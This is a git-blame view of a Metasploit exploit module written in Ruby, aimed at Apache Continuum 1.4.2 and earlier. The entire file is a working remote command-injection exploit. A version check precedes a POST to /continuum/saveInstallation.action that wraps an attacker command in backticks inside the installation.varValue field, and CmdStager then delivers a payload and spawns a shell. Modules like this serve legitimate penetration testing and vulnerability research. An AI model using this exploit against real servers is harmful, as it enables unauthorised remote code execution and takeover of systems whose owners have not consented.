Files
metasploit-gs/modules/exploits/linux/http/apache_continuum_cmd_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

84 lines
2.1 KiB
Ruby
Raw Normal View History

2016-06-09 17:41:05 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-06-09 17:41:05 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2016-06-10 18:25:55 -05:00
include Msf::Exploit::CmdStager
2016-06-09 17:41:05 -05:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Apache Continuum Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection in Apache Continuum <= 1.4.2.
By injecting a command into the installation.varValue POST parameter to
/continuum/saveInstallation.action, a shell can be spawned.
},
'Author' => [
'David Shanahan', # Proof of concept
'wvu' # Metasploit module
],
'References' => [
2026-01-26 12:36:12 +01:00
%w{CVE 2016-15057},
%w{EDB 39886},
2025-06-20 13:20:44 +01:00
],
'DisclosureDate' => '2016-04-06',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Apache Continuum <= 1.4.2', {}]
],
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2016-06-09 17:41:05 -05:00
register_options([
Opt::RPORT(8080)
])
end
def check
res = send_request_cgi(
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => '/continuum/about.action'
2016-06-09 17:41:05 -05:00
)
if res && res.body.include?('1.4.2')
CheckCode::Appears
elsif res && res.code == 200
CheckCode::Detected
else
CheckCode::Safe
end
end
def exploit
2016-06-10 18:25:55 -05:00
print_status('Injecting CmdStager payload...')
execute_cmdstager
2016-06-10 18:25:55 -05:00
end
def execute_command(cmd, opts = {})
2016-06-09 17:41:05 -05:00
send_request_cgi(
2025-06-20 13:20:44 +01:00
'method' => 'POST',
'uri' => '/continuum/saveInstallation.action',
2016-06-09 17:41:05 -05:00
'vars_post' => {
2025-06-20 13:20:44 +01:00
'installation.name' => Rex::Text.rand_text_alpha(8),
'installation.type' => 'jdk',
2016-06-10 18:25:55 -05:00
'installation.varValue' => '`' + cmd + '`'
2016-06-09 17:41:05 -05:00
}
)
end
end